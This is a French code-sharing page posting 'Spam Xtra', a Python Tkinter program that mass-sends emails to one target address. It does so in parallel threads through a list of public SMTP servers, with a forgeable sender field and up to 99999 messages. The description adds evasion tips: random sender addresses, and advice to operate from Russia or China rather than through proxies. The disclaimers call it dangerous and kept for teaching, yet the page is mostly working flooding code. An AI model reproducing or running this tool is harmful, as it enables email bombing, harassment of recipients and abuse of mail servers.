Spammeur, python

Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique :
Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique.

Description

Bon, ce logiciel ne doit pas être utilisé, il montre seulement comment utiliser smtplib pour envoyer de multiples messages, j'ai essayer, et cela marche, de mettre plusieurs serveurs smpt et d'utiliser non pas une adresse (email) fixe mais généré par un fonction comme :
email=""
while len(email)!=10:
email+=chr(randrange(65,91)) #normalement ce sont
#les valeurs des lettres

Mais faites attention, l'utilisation de ce logiciel pourrait entrainer des poursuite de :
Votre fournisseur internet
Les serveurs smpt
Bien sûr le récepteur
Central Intelligence Agency (cia) pour spamming

toutes ces poursuites pourait résulter en condamnation à la prison.

Un conseil, n'utiliser pas de proxy, vous n'auriez pas assé de bande passante, allez plutôt en Russie ou en Chine...

Source / Exemple :


from Tkinter import *
from tkMessageBox import *
import smtplib
import time
from threading import Thread
try :
    import Pmw
except :#Si vous n'avez pas Pmw, cette partie s'executera.
    def spam () :
        global from_addr, to_addrs, msg
        if askyesno("Attention !", "CETTE ACTION PEUT-ETRE ILLEGALE\n\n\nMOI XEOLIN NE SUIS PAS RESPONCEBLE DE VOS AGISSEMENT AVEC CE LOGICIEL.\n\nDE PLUS JE VOUS RAPELLE QUE CE LOGICIEL EST GRATUIT ET NON LIBRE\n\nVOULEZ-VOUS CONTINUER ?") ==True :
                from_addr = who.get()
                to_addrs = [who.get()]
                date = time.ctime(time.time())
                msg = """From: "HUNTER OF SPAMMER - HUNTER OF HACKER" <HOV_HOH@hotmail.com>
Subject: SPAMING
Date: %s
To: "THE SPAMEUR" <None@hotmail.com>

STOP THIS ILLEGAL SPAM !!!
OTHERWISE I SPAM YOU !!!

                """ % date
                for a in range(0,int(num.get())):
                    starter().start()

    class starter(Thread):
       def __init__ (self):
          Thread.__init__(self)

       def run(self):
                s = smtplib.SMTP('smtp.wanadoo.fr')#smtp.free.fr
                s.sendmail(from_addr, to_addrs, msg)
                s.quit()

    def run () :
        try :
            nombre = int(num.get())*0.2
        except :
            nump.configure(text='temps estime : FORMAT INVALIBLE')
        else :
            mnombre=nombre/60
            mnombre-=mnombre%1
            nombre-=mnombre*60
            hnombre=mnombre/60
            hnombre-=hnombre%1
            mnombre-=hnombre*60
            nump.configure(text='temps estime : %s heures %s minutes %s secondes'%(int(hnombre),int(mnombre),nombre))
        root.after(1000,run)

    root=Tk()
    root.title('Spam Xtra | By Xeolin | version 1.8 (Finie)')
    Label(text='Spamer combien de fois ?',bg='grey0',fg='grey50').grid(row=0,column=0)
    num=Entry(bg='grey50')
    num.grid(row=0,column=1)
    nump=Label(text='temps estime : FORMAT INVALIBLE',bg='grey100')
    nump.grid(row=0,column=2)
    Label(text='    A quelle adresse ?        ',bg='grey0',fg='grey50').grid(row=1,column=0)
    who=Entry(bg='grey50')
    who.grid(row=1,column=1)
    Button(text=' SPAMMER ! ',command=spam).grid(row=3,column=1)
    run()
    root.mainloop()
else :  #Si vous avez Pmw, cette partie s'executera.
    stmplist=['smtp.free.fr','smtp.wanadoo.fr','smtp.neuf.fr','smtp.9online.fr','smtp.fr.aol.com','smtp.lycos.co.uk','smtp.cegetel.net','mail.club-internet.fr','smtp.dbmail.com','smtp.evhr.net','smtp.freesurf.fr','smtp.gawab.com','smtp.gmail.com','smtp.ifrance.com','smtp.laposte.net','smtp.magic.fr','smtp.nerim.net','smtp.neuf.fr','smtp.orange.fr','smtp.mail.yahoo.fr']

    def spam () :
        global from_addr, to_addrs, msg
        if askyesno("Attention !", "CETTE ACTION PEUT-ETRE ILLEGALE\n\n\nMOI XEOLIN NE SUIS PAS RESPONCEBLE DE VOS AGISSEMENT AVEC CE LOGICIEL.\n\nDE PLUS JE VOUS RAPELLE QUE CE LOGICIEL EST GRATUIT ET NON LIBRE\n\nVOULEZ-VOUS CONTINUER ?") ==True :
            if askyesno("Attention !", "CETTE ACTION PEUT-ETRE ILLEGALE\n\n\nMOI XEOLIN NE SUIS PAS RESPONCEBLE DE VOS AGISSEMENT AVEC CE LOGICIEL.\n\nDE PLUS JE VOUS RAPELLE QUE CE LOGICIEL EST GRATUIT ET NON LIBRE\n\nVOULEZ-VOUS CONTINUER ?") ==True :
                    from_addr = who.get()
                    to_addrs = [who.get()]
                    date = time.ctime(time.time())
                    msg = """From: %s
                    Subject: SPAMING
                    Date: %s
                    To: "THE SPAMEUR" <None@hotmail.com>
        \n\n\n\n\n\n\n\n
                            %s

                    """ % (toto.get(),date,opt.get())
                    for a in range(0,int(num.get())):
                        lanceur().start()

    class lanceur(Thread):
       def __init__ (self):
          Thread.__init__(self)

       def run(self):
                try :
                    s = smtplib.SMTP(stmp)
                    s.sendmail(from_addr, to_addrs, msg)
                    s.quit()
                except : pass

                

    def changestmp (e):
        global stmp
        stmp=e

    fen=Tk()
    Pmw.initialise(fen)
    fen.title('Spam Xtra | By Xeolin | version 1.7')

    notebook = Pmw.NoteBook(fen)
    notebook.pack(fill = 'both', expand = 1, padx = 10, pady = 10)
    root = notebook.add('general')
    notebook.tab('general').focus_set()

    Label(root,text='Spamer combien de fois ?',bg='grey0',fg='grey50').grid(row=0,column=0)

    num = Pmw.Counter(root,
                    entry_width = 5,
                    entryfield_value = 50,
                    entryfield_validate = {'validator' : 'integer',
                            'min' : 1, 'max' : 99999}
            )
    num.grid(row=0,column=1)
    Label(root,text='    A quelle adresse ?        ',bg='grey0',fg='grey50').grid(row=1,column=0)
    who=Entry(root,bg='grey50')
    who.grid(row=1,column=1)
    Label(root,text='    Quel stmp ?    ',bg='grey0',fg='grey50').grid(row=2,column=0)
    who= Pmw.ComboBox(root,
                    selectioncommand = changestmp,
                    scrolledlist_items = stmplist,
            )

    who.grid(row=2,column=1)
    Button(root,text=' SPAMMER ! ',command=spam).grid(row=4,column=1)

    root = notebook.add('option avancees')
    Label(root,text='Message :').pack()
    opt=Text(root,height=2)
    opt.pack()
    opt.insert('0.0','STOP THIS ILLEGAL SPAM !!! \nOTHERWISE I SPAM YOU !!!')
    toto=Entry(root,width=80)
    toto.pack()
    Label(root,text='Adresse de l\'expediteur').pack()
    toto.insert('0','"HUNTER OF SPAMMER - HUNTER OF HACKER" <HOV_HOH@hotmail.com>')
    fen.mainloop()

Conclusion :


Je déconseille l'utilisation de ce programme.

Codes Sources

A voir également

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.